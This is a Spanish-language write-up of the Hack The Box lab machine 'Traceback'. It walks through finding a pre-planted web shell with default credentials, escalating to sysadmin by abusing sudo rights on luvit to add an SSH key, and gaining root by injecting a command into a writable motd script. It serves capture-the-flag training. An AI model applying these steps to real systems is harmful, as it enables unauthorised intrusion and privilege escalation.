Resumen:
Traceback parte de estar comprometida, tiene ya una shell reversa instalada, por lo que el punto de apoyo consiste básicamente en identificar donde está la WebShell. El resto de la máquina depende mucho de más enumeración de privilegios, permisos y procesos.
Punto de Apoyo:
Todo parte con una enumeración de puertos básica, en el puerto 80 existe una aplicación web que al momento de revisar el código fuentes se puede ver este comentario.
<!--Some of the best web shells that you might need ;)-->
Si se busca eso en internet, se llega a este sitio.
https://github.com/TheBinitGhimire/Web-Shells
Con esa información se llegó a esta url:
http://traceback.htb/smevk.php#
El login de esa webshell por defecto es admin/admin
Con este acceso se puede subir una webshell que permita ejecutar comandos de manera más fácil.
Obtener Usuario
Con el usuario webadmin podemos ver lo que este usuario puede ejectura como root.
p0wny@shell:/home/webadmin# sudo -l Matching Defaults entries for webadmin on traceback: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User webadmin may run the following commands on traceback: (sysadmin) NOPASSWD: /home/webadmin/luvit
Con el ejecutable luvit se puede agregar la llave pública de ssh en el archivo authorized_keys usando el archivo ".lua".
Se genera una llave pública y privada en ssh y se copia la llave pública en el archivo LUA. Y se ejecuta luvit de esta manera.
sudo -u sysadmin /home/webadmin/luvit jorge.lua
Una vez realizado esto se puede establecer una conexión SSH con la llave privada generada previamente, con el usuario sysadmin.
ssh -i id_rsa [email protected]
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 15 10:33:20 2020 from 10.10.14.11
$ cat user.txt
c24349***********************
Obtener Root
Para ver los procesos usar pspy64
Se puede ver un proceso:
2020/03/15 14:50:31 CMD: UID=0 PID=5367 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/
Si se ve el directorio /etc/update-motd.d/
sysadmin@traceback:/etc/update-motd.d$ ls -la
total 32
drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
drwxr-xr-x 80 root root 4096 Aug 25 2019 ..
-rwxrwxr-x 1 root sysadmin 981 Mar 15 15:23 00-header
-rwxrwxr-x 1 root sysadmin 982 Mar 15 15:23 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Mar 15 15:23 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Mar 15 15:23 80-esm
-rwxrwxr-x 1 root sysadmin 299 Mar 15 15:23 91-release-upgrade
El usuario sysadmin puede escribir en 00-header
Si se añade este comando en el archivo se obtendrá la flag la primera vez que se inicie sesión con ssh:
echo "echo $(cat /root/root.txt)" >> 00-header
run-parts /etc/update-motd.d/
Y luego iniciar sesión por ssh con el usuario sysadmin
ssh -i id_rsa [email protected]
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
ccda9e**********************
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 15 15:11:29 2020 from 10.10.14.37
$